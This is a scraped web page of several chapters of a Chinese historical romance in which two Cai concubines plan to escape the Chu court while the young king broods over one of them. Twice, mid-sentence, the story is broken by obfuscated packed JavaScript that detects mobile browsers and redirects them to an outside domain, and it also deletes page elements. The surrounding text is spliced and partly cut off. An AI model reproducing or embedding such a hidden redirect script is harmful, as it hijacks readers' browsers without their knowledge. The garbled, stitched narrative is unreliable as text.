阿姮上前抱住她，“阿姊，你想怎么做都好，我只是有些顾虑，蔡侯他，真的是阿姊的良人么？” 阿姊本就是从蔡侯宫中出来的，她想回去，用她的方式反抗那些欺她辱她的人，阿姮能体会她的心情。可是，不仍旧要给蔡侯做妾吗？ 阿姮没见过蔡侯，她只见过楚王这么一个国君。 她的见识固然浅薄，可也知道一个好的国君，不会任由贵族家的豪奴在乡野横行，不会任由贼寇屠戮小民。 楚王纵有万般不好，也非蔡侯可以比拟的。 阿姮眉头微蹙。 阿鹂轻拍她的手臂，说：“放心，我不是为了蔡侯这个人。我既然已经决定，就不会后悔也不会怕！我只怕，你对楚王动了心，不愿跟我走了。” 阿姮脸一红，低声嘟囔道：“没有！你们都误会了！我对楚王什么都没有！” 她羞着脸迭声否认，让阿鹂既觉可爱，又心生感慨，不由笑道：“楚王有权有势，长得又出众，面对这样的男人，便是有点什么，也不怪妹妹。” “你只需记住，永远不要把真心给他们，”妩媚笑意从阿鹂脸上消失，她望向阿姮，目光变得坚定，“你是我的妹妹，先前你护了我，从今往后该换我来护你，我绝不会让任何人伤害你。等我们回到蔡国，我定要帮你找出那些 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“我这个月的月事没来，胎儿约莫才两个月，现在打掉还不晚，免得带个拖累上路。” 阿鹂拿手抚上平坦的小腹，一脸严肃，脸上没有一丝眷恋之情。 她是乐伎，为了舞乐之便，尤为爱惜身体。就连偶尔贪个口腹之欲多吃几口都要催吐出来，怎会容忍身材变形。侍奉昭伯时便十分注意，若不能避开容易有孕的日子，就得使些手段悄悄避孕。 没想到还是怀上了。绝不能留。 阿姮太过于惊诧，半晌没反应过来。 阿鹂由己及人，一脸正色的对她说：“听薄媪说你已承过宠，我们离开前这些日子，切莫让楚王弄到你身子里头去。你年纪还小，有孕后再打掉，尤为伤身。” “什么……弄到身子里头去？”阿姮被她说得糊里糊涂，心底隐隐浮现出怪异的猜测。 “你这个傻……”阿鹂揉着额角直叹气，“我以往便说要教你如何侍奉男人，你总是不爱听！你要晓得，有些手段虽说粗俗，难听了些，那也是为了保护你自己啊！” 阿姮脸热热的，咬唇不语。她不想学什么“手段”。那晚，她吓得直哭，始终不肯配合。楚王约莫也没有经验，她又哭又扭的，他竟拿她没法子，到最后也没成事。 “就是男子的……”阿鹂一心急，凑到她耳边一阵低语，“入了女体，便会有孕！若来不及，务必清洗出来！切记！” 阿姮只觉得耳边轰隆一声巨响，通红的血色迅速从耳廓蔓延到整张脸上。 幸亏楚王……全都糊到她腿根子上了。 * 郢郊祭台。 芈渊忽然鼻头一痒，打了个喷嚏。 司巫正在高谈阔论。 “寡人失礼了。”芈渊冲司巫摆手请他自便，独自起身来到露台上。 远处的王城墙郭斑驳，在秋天的红日笼罩下，着染了一层厚重的晕黄。近处，青山掩映碧水东流，农人在田间挥镰，渔夫在江中行舟。目之所及，本是一幅安详和煦的画面。 少年国君慵懒的眉眼里，盛放着比往日更多的冷意。 狩猎本是他最为喜爱之事，在郢郊盘桓多日，很是畅快的猎了几场。可一闲下来，缠绕在心里的那股郁躁之意不但没得到半分纾解，反而让他愈发烦乱。 他本想在司巫这里寻个清净，不过随口跟司巫请教了几句阴阳合和之事，司巫就搬出一堆阴阳八卦之论说给他听，枯燥到让人昏昏欲睡。 半点用处都没有。 芈渊懊恼不及，才想起来司巫到老还是个童男子，跟他请教个什么劲？ 窝在心口的一腔怒火，回想起来竟然有些赧然，还有那些说不出口的困惑，难以言状的快活……通通被发狠的抛之脑后。 堂堂一国之君，绝不是非她不可的。 那个口是心非的女人。 国君半是不屑半是讥嘲的轻嗤了一声，对露台下的侍卫发出令喝：“速备车马回王城！” 20. 第 20 章 薄媪宅中庭院，僻静无人处。 阿鹂靠近阿姮，附耳低语。 “阿姊我知道了！知道了！”阿姮被臊得满脸通红，直捂耳朵。 “你呀，什么时候能听得进去阿姊的话？”阿鹂又气，又忍不住笑话阿姮的脸皮薄。 阿姮含羞带恼的瞪了阿姊一眼，蹙起秀眉，不无担忧：“你先莫管我，打掉孩子太危险，伤到你的身子怎么办！” 她的母亲，就小产过。那时阿姮还小，尤记得阿母在田间劳作时突然晕倒，被阿父背回来。阿母身子底下流了好大一滩血。阿姮哭肿了眼睛，在榻前守了三日，阿母才醒过来。 后来阿母就再也不能生育了。 “不用担心，”阿鹂收起笑容，面容变得冷静，“好好休养些日子就好，最迟不过今年冬天，我们必须离开楚国。” 阿姮以疑问的眼神探向阿姊。 “在昭伯家侍奉我的仆女，你见过的，她对我极为忠心。前些时日，我请薄媪为她寻了一门好亲事，将她嫁给了仲百夫长的得力副手，”阿鹂放缓了声音，轻轻道来，“她和昭伯夫人身边的仆女私底下还有往来，叫我探听到，昭伯夫人和其子明面上向楚王伏了罪，实则即将谋反。今年冬日之前，昭伯长男就会率昭氏私卒从庸地打过来。” 阿姮大吃一惊，又有些不敢相信。她不相信楚王会对此一无所知。 那就不是她所认识的楚王了。 “我本来想向楚王告密，揭发昭伯夫人。几日前我的仆女过来告诉我，仲百夫长将她的丈夫和一队王卒作为先遣，派遣至庸地，暗中监视昭伯长男。原来楚王早就在提防昭氏，势必要除了昭氏一族。根本就轮不到我来借他的刀……” 阿鹂笑了笑，脸上露出惧意。 楚王心机太深，从他对付王叔度和蔡国使团就可以看出，只要他看上的猎物，定要斩尽杀绝。 蔡侯虽然昏庸懦弱，断然干不出这样的事来。 “所以，等楚王对付昭氏的时候，我们就趁乱离开？”阿姮喃喃。 阿鹂点头，想起来一事，又道：“还得托薄媪给你指派个差事，让你能时常出宫走动。等我们准备好了，想走的时候随时就可以走。” 诸多事宜，还未及姊妹两人仔细商议，就有仆女匆匆的走过来，说大王来了，薄媪令她二人去拜见大王。 楚王从郢郊返回，没有回王宫，反而来了薄媪的宅子，也不知为了何事？阿姮和阿鹂互相望了一眼，跟在仆女身后，往正堂走去。 国君一身狩猎穿的常服，端坐在上席，正在听薄媪说话。 眉目间懒洋洋的。 “参见王上。” 芈渊眼皮都没掀起来一下，一道如枫树般亭亭的倩影落入眼角，霞光氤氲，照亮了堂前。 她穿了一身簇新的曲裾深衣，猩红的衣带沿着婀娜身躯蜿蜒弯曲，一直缠绕到裙摆处，深衣上绣满了枫叶图案，很衬屋外的秋景。 少女翩然跪拜，聚敛了一树光华的枫叶就在眼前晃动着安静下来，柔顺的伏在他面前。 大王神情漠然，只不言语，薄媪笑着打破冷清：“刚才老妪正在跟大王商讨立后之事，大王心中可有属意的人选？” 昭伯已死，景梁出使蔡国，大王想立哪位大夫家的女儿为王后，但凭他自己的心意。薄媪自认没有卿大夫们那般贪权好利，她的聪明之处在于，她会小心的猜度并迎合大王的心思，绝对不会也不敢干涉大王的决定。 “尚未。”芈渊淡淡的道。 薄媪说：“大王有什么想法，可否说与我听听，也叫老妇瞅瞅身边有没有合适的人选。” 芈渊抬起眼眸朝堂下扫去，嗓音沉沉的开口：“容貌上乘，德行娴淑，正值妙龄。” 语罢，顿了一顿又道：“除了这些，还有尤为重要的一点——出身贵族，家世应在中卿大夫以上，才堪为寡人的王后。” “大王说得极是。”薄媪连连点头。 薄媪陪大王闲谈时，两位蔡国美人还静悄悄的伏跪在堂前。 薄媪看了眼两个蔡女，说：“等大王迎娶了王后，老妪必定会如对王上一般，对王后恭敬无二。只是眼下，王上的后宫着实单薄，可否先甄选几位美人，和姮女一同服侍大王？” 阿姮的身子悄悄的动了一下，少女依然垂着头，看不清她脸上的神色。 “您老看着办吧。”芈渊心间泛起一丝烦躁，随口敷衍。 “好，老妪这就去办。”薄媪一口答应下来。 “慢着！”芈渊突然扬声，喝止住薄媪，不止把老媪吓了一跳，阿姮也忘了规矩，应声抬头，朝上首觑视。 和楚王的目光碰了个正着。 两只黢黑的眸子一动不动的盯着她，从她身上洞穿过去，直落到屋子外头。 阿姮慌忙垂下头。 不过须臾，只听楚王道：“寡人明年要征讨东夷，之后和晋国不可避免亦有一战，这几年该与民休养，不宜大肆铺张，甄选美人就不必了。” 阿姮险些把失望之态显露到脸上。 国君寝宫的一间偏殿比两三间宫女的居所还大。唯她一人住在里头，孤伶伶的，直叫她心里发毛。 楚王说完，从席上站起来，走到阿姮身前的时候，稍顿了一下。 “不必从民间甄选美人，在宫中择几人便可。” 芈渊冷冷的撂下一句。 该让她清醒一些，他并不是非她不可。 一阵风从阿姮身旁拂过，楚王甩开衣袍，长腿一跨，走得极快，空留下薄媪答了一声“喏”。 他倒是……挺节俭的。和他对待膳食的态度一样。阿姮轻轻摩挲着堆在膝头衣裳上的枫叶花纹，紧绷的肩背松弛下来。 “都起来罢，”薄媪朝她和阿鹂挥了挥衣袖，悠悠叹了口气说，“大王爱民如子，不愿滥用人力，是楚民之福。可是，宫中正是用人之际，大王又不愿再进新人，老妪实有些左右支拙，难做这无米之炊。” 阿鹂上前扶住薄媪的肩膀，边轻巧的为她按捏，边笑着逢迎道：“国中能有什么事难得住老媪？大王英明，对老媪又格外看重，老媪正是颐养天年之时。” 她已打好主意，待讨得薄媪欢心，就以和妹妹练习歌舞为名，请薄媪把阿姮时常调出宫来。反正楚王马上就会有新欢。 “老妇肩上担着的，并非国君一人的饮食起居，你们哪晓得……”薄媪被阿鹂按捏的通身舒坦，眉间仍是愁绪不展。 自从昭伯死了，大王令薄媪派人重新丈量公田、清算国库，以便他向军中将卒发放赏赐。 这些事本该由王后主持，如今后位空悬，只得由薄媪代为操劳。光靠薄媪一人忙不过来，她得找个人帮衬，既要信得过，又得稍微会写几个字、能记个账目。宫中识得字还会算账的人实不多，有这般能耐的，不外乎常侍国君左右的几个哑寺人。 大王喜欢用哑巴，薄媪不喜欢。她喜欢乖巧又口齿伶俐的。 “老媪，您所说的难事，上回您派人到宫中派发赏赐时，妾便大约知晓了一些，妾愿意为老媪分担一二，”阿姮犹豫了一下，在薄媪和阿鹂惊讶的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚王有傲慢和狠戾的一面。于她而言，除去那一晚，让她感受到最多的，是他的善意和怜悯。 微不足道，却又宝贵。 也许只是他的无心之举。 可她都看到了，也记在心里。 阿姮和她死去的匠人父亲一样重情重义，谁对她好，她都会尽她所能的去报答对方。 她把楚王的好与不好当成了一本账目，一笔一笔算得很清楚。 若让楚王知道了，定会嘲笑她。 管他呢。 那是他的事。 她和阿姊商量好，等她下次出宫，和阿姊一起去找个可靠的医士，将阿姊腹中的胎儿拿掉。 对于如何离开楚国，两人又细细的盘算了一番后，阿姮回到王宫。 楚王依旧没有回来。 阿姮回想起这日见到楚王的一幕幕。 他的脾气还是那么坏。 但是，没有如她所想的那样，对她冷眼厉色或拿她问罪。 一种奇怪的感觉，在阿姮心中若隐若现。 楚王在生气。 他在生气。 他的冷漠、不屑还有傲慢，表现的异常生硬，像专门针对她一个人似的。 阿姮心中犹在七上八下，薄媪已麻利的为楚王挑选了七个容貌姣好的年轻宫女。国君寝宫两侧的四间偏殿，终于不会再那么冷清了。 阿姮的心归于平静。果然还是她想多了。 21. 第 21 章 被选来服侍楚王的宫女中有覃，阿姮欣喜不已。 “阿姮！太好了，又能和你住一起了！这张榻好大！好香啊！”覃倒在榻上滚来滚去，像小犬一样扒着褥子深深吸气。 一脸陶醉的模样把阿姮逗笑。 阿姮笑道：“咱俩一人一榻，往后谁也挤不着谁了。” 房门被推开一个缝隙，探进来一张秀气的脸，小心的问：“阿姮，可以进来么？” 阿姮愣了一下，微笑点头。 眼前一花，“呼啦啦”六个宫女全都涌了进来，有的是阿姮刚到宫中就打过几次交道的，有的还是生面孔。 薄媪办事老道，选来的女子，高矮肥瘦各有千秋。有像覃这么活泼直爽的，也有和阿姮一样安静寡言的。 “阿姮，我们还从未侍奉过王上，薄媪叫我们多跟你请教。”秀气腼腆的生面孔宫女率先开口，冲阿姮屈膝行礼。 阿姮伸手止住她。 覃从榻上坐起来，哼道：“请教什么？想让阿姮教你们怎么得到大王的宠幸么？阿姮才不会告诉你们！想都别想！” 她还记着被其中某个宫女欺负过的事。 “难道你不想？不侍奉大王，那你来做什么？”被覃针对的宫女顿时红了脸，不甘示弱的回嘴。 “我来伺候阿姮的！阿姮伺候大王，我就伺候她！”覃把头一扬，笑嘻嘻的说。 “你、厚脸皮！” “阿姮，让我来伺候你好么，”趁着几人吵嘴，那个名字就叫做“秀”的秀气宫女把阿姮拉到一旁，不安的说，“我手脚笨，害怕服侍不好大王，你出宫为薄媪办差的时候，把我也带去，让我伺候你好不好？” 阿姮张开嘴，刚要好言好语的拒绝。 “不行！阿姮是我的！”覃嚷起来。 吵嚷中，大家都打开了话匣子。 “传闻王上一餐能吃下一头鹿，还生喝鹿血！这是真的么？” “我还听说，夏祭那时，大王叫人把王叔度的尸体扔到鼎里，煮熟吃了！” 宫女们脸色惶惶的，越说越邪乎。 阿姮看看这个，瞅瞅那个，想说的话总被打断，只得无奈的揉耳朵。 怪不得楚王不喜欢身边的人多嘴多舌。 “我还听说，那些哑巴寺人，就是因为犯了错，才被大王割掉舌头的！”又一个人冷不丁的说。 房中一下子安静下来。 国君的宫殿传来走动声。 大王回来了。 宫女们紧紧的捂住嘴，花容失色。 她们应该过去侍奉王上，而不是躲在房里讲闲话。 “阿姮，我不敢去。”秀吓得脸都白了，眼中满是求助。 令阿姮想起自己刚到楚王身边时，也是这般惶恐无助。那时没有人教她怎么做。 剩下几人也手足无措，一个个向阿姮投去询问的目光。 “莫怕，越怕越容易出错。你们也看到了，在外头的时候，大王身边有左右两广侍卫，左广与右广每两个时辰换一次值。我留心过寺人，他们也是分了时辰，轮流随侍。我们也和他们一样，分出日值和夜值，该上值的时候就上值。大王喜静，不喜欢吵闹，不挑剔饮食。我们把手脚放轻一些，把嘴巴闭上，把自己当做寺人。其余的，大王让做什么，就做什么罢。” 偏殿外头，芈渊踱步走到墙壁旁，歪着一边耳朵，双手抱臂，一动不动。 房中，阿姮娓娓道完，又对秀说：“你若实在害怕，我带你去王上的私厨，你就留在庖厨给庖叔帮忙，做事细心些就好。” “阿姮我听你的！”秀一个劲的点头。 “阿姮我也听你的！” “我也听你的！你叫我怎么做我就怎么做！” 剩下的宫女在覃的带领下，七嘴八舌的响应。 耳朵还沉浸在温柔甜美的嗓音里，喧哗声隔着一道墙壁又聒噪的响了起来。芈渊拔腿离开，回到寝宫，脱履入席。 桌案上堆满了书简，哑寺人们人手抱着几卷竹编，还在往案上放。 “可以了。”芈渊朝他们一挥袖子，坐了下来。 他从薄媪家中出来，去了一趟巫庙。司巫没有跟他一起返回王城，还留在郢郊的祭台观看天象。芈渊自行找了一些藏书，尽数搬来王宫。 他喜欢看兵书，但是治理国家所要涉猎的学识不止兵法，国君不能完全由着自己的喜好来。 除了治理国家，世上还有很多他所不知道的事物，有待他求索。 比如……连司巫都说不清楚的男女之事。 芈渊一头扎进典籍堆里，耗费了几日，把从巫庙拿来的书彻头彻尾翻阅了一遍，也没有找到他想要的答案。 竹简上头的漆黑小字在国君的眼睛里，变成了发出嗡嗡鸣声的蚊蝇，让人不胜其烦。 从书中抬首，才蓦然发觉，无论“日值”还是“夜值”，蔡女连个影子都不见。 * 芈渊俯首案牍上下求索的时候，阿姮正在巫庙附近的市集。 她这几天都在外头。 先是找一个从蔡国来贩货的行商。这个行商曾经以阿鹂同乡的名义，从昭伯那里赚了一笔钱渡过难关，后来便一直惦记着要还鹂夫人的人情。 阿姮把在楚王宫得的财物赏赐折了两千钱，拿给行商，请他安排两个信使，一个去蔡国，将鹂阿姊的密信交给蔡侯身边亲近的寺人，一个去晋国，把她们在楚国的事暗中告知给申先生。 行商推辞说毋须这么多钱，如何也不肯收，拗不过她们坚持。这两位蔡国美人游走于楚蔡两国宫廷，她们要干什么，行商不敢过问。和她们多一些交情，就多一条商路，总是有益处的。于是行商灵机一动，想出一个两全其美的法子，请阿姮做他商行的伙伴，将这些钱折成份子，入到他的买卖里头。 阿姮答应下来，和他定下契。 送信的事安排妥当，寻找医士却不太顺利。 本来，阿鹂的仆女帮忙找了一位精通妇产的医士，等她们寻着地址找过去，才得知此人有事去了乡里，月余才回得来。 月份越大越不好拿掉，阿鹂等不起。阿姮只得陪她到巫庙再找一个通晓医术的巫人。 楚国的巫人没有田地和产业，被司巫选中的，可以以司巫亲传弟子的身份入巫庙，学习占卜和医术，在司巫的带领下，协助国君举行祭祀大典。 剩下没甚天分的，只能在巫庙附近的市集以占卜解卦和兜售药物为生。 阿姮和阿鹂赶过去的时候，司巫不在，他的弟子们在巫庙演练舞乐，载歌载舞，吸引了众多的行人围在门口观看。 “他们这是跳的什么呢？”隔着一排排围观的后脑勺，阿姮远眺了一眼，回头问鹂阿姊。 阿姮不是乐人，看不出其中的乐理，只觉得这回的舞蹈和夏祭时他们在祭台旁跳的舞不一样。 阿鹂顺着她的目光看了看，笑着摇头，说她也不懂楚人的礼乐。 “他们在祭祀湘君。”一道清脆的女声在她们身后响起。 阿姮和阿鹂齐齐的望过去。 迎面走来一个和阿姮年岁相当的少女，眼神灵动，衣着朴素。 少女冲她们露齿一笑，问：“二位不是我们楚国人吧？” 阿姮也冲她微笑，说：“我们姊妹是从北方的诸侯国来的。” “哦那就难怪了，”少女灵活的转着眼珠子，脆生生的开口道，“我们楚人信巫鬼之道而好祭祀，鬼就是神，每到祭神之时，就会兴歌舞，击鼓乐，以敬奉诸神。” “湘君是掌管什么的神呢？”阿姮问。 少女微微一笑，说：“在我们楚人的传说里，有守护山林的山鬼，执掌江河的河伯，有掌管生死寿夭的大司命，主宰婴孩命数的少司命，姑娘你猜猜看，你觉得湘君是掌管何事的？” 她话音一转，问向阿姮。 阿姮的目光穿过人群，望向跳舞的巫人。 缠绵的歌声中，一共只有两个巫人，一个扮作湘君，另一个着女装扮作女子。 阿姮注意到，两人一直没有同时出现在场上。总是一个人上场时，另一个人就下到场下。而他们的舞姿和戴着面具的脸，永远都在朝着对方的方向，似乎在幽怨的诉说着什么。 “湘君，和那个‘女子’，是夫妻么？”阿姮迟疑的问少女。 “姑娘很聪明，一点就透，”少女不吝夸赞，笑道，“湘君和他的妻子湘夫人，掌管世间情爱。刚才巫人们演的那一幕，是湘君思念湘夫人，却没有见到她，故而在水洲旁吹箫歌咏，情思难消，愁苦满怀。” 听了少女的讲解，再听场上传来的歌声，“君不前行兮脚步踟躇，为美人兮留于沙荼”，阿姮就听懂了也看明白了。 阿鹂见她被舞乐吸引，轻咳了一声，说：“湘君看够了么，我们该去找少司命了。” 少女面露讶异，不明白这两位美丽的女子要找什么“少司命”？ 阿姮冲少女行礼作别，被阿姊拉着手往巫庙旁的市集走。 人们都聚在巫庙门口看巫人祭神，街面上只有零散几个落魄巫人，往草席上摆着蓍草和龟甲，旁边还有一些不知道管不管用的偏方，和不入流的药物。 阿鹂从一个巫人手中买落胎药，正要把钱递过去，阿姮拦住她。 阿姮蹙眉：“阿姊，我觉得还是慎重些，我怕……” 她是真的怕，怕鹂阿姊和阿母当年一样。 巫人当场变了脸，站起来就要从阿鹂手中抢钱。阿姮警觉，拂开巫人的手。 “司巫这几日不在，你们胆子大了，什么药都敢拿出来害人？”冷冷的叱责声突然响起，走过来的是刚才的少女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482899|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她对阿姮说：“你们不是楚国人，不晓得这些巫人的门道，千万莫要从他们手里买落胎药，会害了令姊的命！” 巫人的买卖被彻底搅黄，面露凶相朝几个女子扑过来。 “咣当”一声，一柄刀伸过来，巫人撞到刀柄上，痛得倒在地上叫喊。 “褚良！”少女惊喜的喊道。 来人正是褚良。 “喜妹。”褚良收了刀，喊着少女的名字，望着她笑。 褚良向喜妹引见阿姮。 喜妹眼中一亮：“你就是阿姮？那个识得殷商铭文的蔡国美人？真是太好了！我正想请个先生指教……” “阿姮姑娘要侍奉王上，哪有空做你的先生。再者，以喜妹你的学问，何须向旁人请教，”褚良笑意不减，对阿姮姊妹说，“喜妹和她的兄长成大夫一样，学问好，还精通医术，比起司巫也不差！” 满口掩饰不住骄傲。 阿姮向喜妹颔首微笑。想必她就是那日褚良说的“心仪的女子”。 “岂敢跟司巫比！在你眼里，我竟是如此轻狂之人？”喜妹娇嗔一声，把褚良远远的推开，对阿姮悄声道，“他呀，跟他的大王一样，空有一身蛮力，腹中空空！” 三个女子都轻声笑起来。 阿姮眨了眨眼睛，笑问：“喜妹不怕我把你的话传到大王耳朵里？” “一看你就不是那样的人！”喜妹答得爽快。 玩笑过后，喜妹又面向阿鹂，道：“我虽然只略通一点医术，总比刚才那个巫人懂得多一些，且我们都是女子，阿姊若信得过，我帮您看一看脉象。” 她刚才好奇，悄悄的跟在阿姮姊妹身后，阿鹂和巫人说话的时候，她都听见了。 阿鹂和阿姮互相看了一眼，既意外又惊喜。 “那就有劳喜妹了。”阿鹂说。 刚才的巫人早跑了，喜妹和阿鹂就着巫人丢弃的草席坐下。 阿姮走到褚良身边，说：“褚百夫长，您上回送我们回王宫时，您说有事情要我帮忙，究竟是何事？我必尽力而为，在所不辞。” 当时褚良把她和覃送回王宫就着急的走了，直到今日，阿姮才碰到他。 “我何时说过？”褚良一脸迷茫。 阿姮提醒：“就是上次从郢郊回来的路上。” “是大王！”褚良一拍脑门想起来，忙解释道，“大王那日命我驾车将您送回王宫，当时——” 他语塞住。当时，大王冷着脸给他下达了命令，又警告他不许告诉姮女。他为了完成王命，一着急就随便编了个瞎话。 他忘得一干二净，这会儿一时大意，把大王出卖了。 “其实，当时，大王……也不是大王……”褚良结结巴巴的说不出话。 “您不用担心，大王不会知道的。”阿姮沉默了片刻，开口道。 她没再说什么，转身朝喜妹和阿鹂走去。 褚良懊恼的吐了口气，瞅了一眼远处的巫庙。祭神舞乐“湘君”，他陪喜妹看过很多回，里头的唱曲和情节都能背下来了。 他不用看就知道，接下来，湘君下场，湘夫人上场，新的一幕即将开始。总是错过的湘君和湘夫人，就像日与月，永远无法相逢。 大王跑到巫庙翻找书简的时候，褚良当着大王的面不敢说，心中却道，其实王上应该来看一看湘君和湘夫人的舞乐，比他搬回去的那些典籍有用多了。 * 楚王寝宫。 芈渊眯起眼睛按了按眉心，伸手把书简往前一推，“都送回去。” 堆在桌案边缘的几卷竹简“哗啦”应声落地。 垂首跪在一旁的宫女被声音吓得一抖，只见寺人上前整理书牍，宫女们连忙跟着有样学样，帮着收捡。 芈渊木着一张脸冷眼旁观，她的人虽然不在这里，倒是把几个宫女调理的跟她一个样，谨小慎微的，让人想发脾气都寻不到错处。 她能做的事，这些宫女都能做，甚至还可以做得更好。 但是芈渊怎么看都不顺眼。 一群只会刻意模仿的鹌鹑，跟一只胆小又聪慧无比的兔子，能比吗？ 他已经知晓薄媪叫她协办一些宫务。 一个小小的宫女，比他这个国君还忙？ 芈渊转着右手拇指上的玉韘，俊容冰冷。 从未失过手的猎人还没来得及拉下弓弦，机警的猎物就跑掉了。 他没那么在乎她。 心中总是郁躁，只是因为还没有得到她罢了。 得到了，也就没那么稀罕了。 这场田猎游戏，是停止还是继续，只有他说了才算。 “叫蔡女来伺候。”芈渊头也不回朝浴室走去。 此时，天色将暮，而未暮。 还未到掌灯的时候。 22. 第 22 章 巫庙旁的市集。 阿姮撇下褚良，向阿姊和喜妹走过去。 喜妹刚跟鹂阿姊说了什么，阿姊一脸惊讶，转而呼出一口气，面容放松下来。 见阿姮过来，喜妹对她说：“鹂阿姊没有怀孕。” 阿姮也和阿鹂一样，几乎不敢相信。 “喜妹说我这些日子神思紧张，月事受到影响，因而推迟了。”阿鹂笑着说。 喜妹点头，道：“我给阿姊把了脉，阿姊心火旺而肝气郁结，导致肾水运行不畅，才出现月事不调的症状，可以吃副药调理调理。不吃药也行，把心放平，好些休养几日，少思少焦虑，月事自然就正常了。” 她说得细致又有条理，阿姮彻底放下心，和阿鹂齐声向她道谢。 阿姮要办的两件事都已了结，该送阿姊回薄媪家去。喜妹倒有些舍不得，对阿姮欲言又止。 褚良原本是来找喜妹的，既碰到阿姮，就想起这些天阴晴不定的大王，他不好就此离开，提出护送两位蔡女回去。 “我还想请阿姮去我家做客呢！碰上一回不容易，几时才能再见到……”喜妹不满的对褚良嘟囔。 褚良挠着头，一脸为难。他可做不了主。 阿姮倒是笑着点头：“喜妹相邀，我岂能推辞。” 她想起今日买药的事就后怕不已，若不是喜妹，险些误了阿姊的性命。 “真的？太好了！”喜妹高兴极了，连忙往街尾跑，叫仆人把牛车赶过来。 褚良望着喜妹跑远的背影，无奈笑道：“也好，我与喜妹家是邻居，我先送鹂夫人回薄媪宅中，回来再接阿姮姑娘回王宫。” 这样安排最好，阿姮和阿鹂答应下来。 褚良刚要赶马车离开，又停下，颇有些不好意思的对阿姮说：“我方想起来，不是大王，的确是我，想跟姑娘讨个人情。” 阿姮也不揭穿他，只问他是何事。 “大王赏赐给百夫长的百匹帛布，我用不了那么多，麻烦跟薄媪说一声，能否换成锦缎？能换多少是多少！” 褚良说着，抬眼张望坐着牛车从远处走来的喜妹，又加了一句：“就像阿姮姑娘身上穿的这种纹样，就很好看。” 阿姮微笑说好。 楚王赏赐用的帛布是素色本布面料，方便做成常服在劳作时穿，换成锦缎的话，百匹可换三十。她随薄媪清点过宫中的布料结余，各种面料都绰绰有余，褚良想换一种料子不是什么难办的事。 只不过，她身上穿的这种枫叶锦纹，是锦缎中最精美的样式，库中已经没有了，她和覃做完衣裳，手上还余了几匹。 还够做两套衣裳。 就一起送给喜妹，作为她的心意。 阿姮正暗自合计，牛车“哒哒”的行来，喜妹把她拉到车上，两人各自和阿鹂褚良告别，一路朝外城跑去。 住在外城的，大多是在郢都城外以打鱼砍柴谋生的小民。喜妹家只有她和兄长两人，她的兄长是下卿大夫，在朝中无职。阿姮听喜妹说，他们家的私田和农庄都在北边的汉水附近，她兄长几个月前动身去收割稻谷，还没回来。 喜妹家虽然是卿大夫之家，但家中清贫，和沿路看到的人家一样，只一间小院，三间正房。 土黄的院墙一围，墙上爬满黄绿藤蔓，藤上结了几条苦瓜，间杂红彤彤的茜草果子，一簇一簇的从墙角伸出来。 院中喂了一群鸡。 喜妹一回来，还没来得及跟阿姮请教什么铭文，就忙着抓米喂鸡。兄长走后，家里只有赶车的老仆和负责煮饭洗衣的老妇这一对老夫妻，很多事情都得她自己来。 鸡看到主人，突然有了灵性似的，扑闪着翅膀乱跳，就差蹦到喜妹身上。 “我来吧。”阿姮朝喜妹伸出手，把装谷子的陶盆从她手里接过去。 喜妹一愣，只见阿姮撮起小嘴，从嘴里发出“咯咯”的声音，把谷子撒到空地上。 群鸡一窝蜂的跑来，忙不迭的在地上啄食。 喜妹惊讶的看着她这一连串熟练的动作。 阿姮朝喜妹笑了笑。这也是她在家中常做的事。 喜妹也笑了，跑到房中，抱出一卷竹简和笔墨，铺到院中的石几上。 竹简上干干净净，没有一丝墨迹。 轮到阿姮感到惊讶。 “阿姮，”喜妹把笔在墨台里轻舔了舔，递给她，郑重的说，“我在搜集整理殷商时的铭文，请你和我一起编著成书。” 编著……成书？ 阿姮眼中充满震惊，不敢把笔接过来。 “我……可以吗？”她看着喜妹，却是在问她自己。 阿父教邻家阿兄铸造农具之余，也曾在沙地上书写铭文，一个个的教他辨认。阿兄起初有些不以为然，他有的是力气，在乡间做个打铁匠，便衣食足够了，学这些有什么用？不能吃也不能喝。 她还记得，阿父当时说：“这些铭文，我的曾祖父传给祖父，祖父传给我的父亲，父亲又传给了我。在我的曾祖父之前，也必定有他的父亲传给他。就这样一代一代的传下来，直到今天。你若问我，它是能吃，还是能喝？我只能说，我也不晓得有什么用。 “我只知道，在我重现这些铭文的时候，我的祖祖辈辈都来过这个世上。还有那些曾经向我的祖辈传授过铸术的铸匠们，他们不是我的祖先，我也不知道他们的名字，可我知道，他们都曾经在这世上走过一遭。” 喜妹听阿姮讲完，轻呼道：“你的父亲说得对，他们都曾经来过！” 她望着阿姮，眼中闪着亮光，道：“你的祖先，还有那些铸匠，他们或许曾经给商王铸过鼎，给周天子造过剑，还给乡里的小民打过农具。他们没有名字传下来，没有故事让我们听见，可我们知道，他们都来过这个世上。” “他们都来过吗？”阿姮目光幽幽，投向院墙上蜿蜒爬行的藤萝。 她懂了。 “就像国君用祭酒祭祀他的先王那样，铸匠也有自己的祭祀方式。我们每一次书写和重现那些铭文，就是在祭奠他们。我的父亲、祖父和曾祖父，还有很多很多的铸匠，他们都曾经来过，从来没有离开，他们就活在那些铭文里。” 当她在酒窖里，看到那个陈旧的酒罍，从灰尘中擦出那些模糊的铭文，她的父亲，出现并庇佑了她。 父亲他，一直都在。 两行泪从阿姮眼中夺眶而出。 喜妹静静的坐在一旁。看到阿姮流泪，不知为何心里也酸酸的。 阿姮，一定有一个很伤心很坎坷的过往吧？ 过了一会儿，阿姮拭去脸上的泪痕，露出笑容：“那我们先把武王酒罍上的铭文写下来，可好？” “好！”喜妹重重点头。 笔尖上的墨汁已经干了，阿姮挽起袖子，小心翼翼的重新轻蘸墨台。 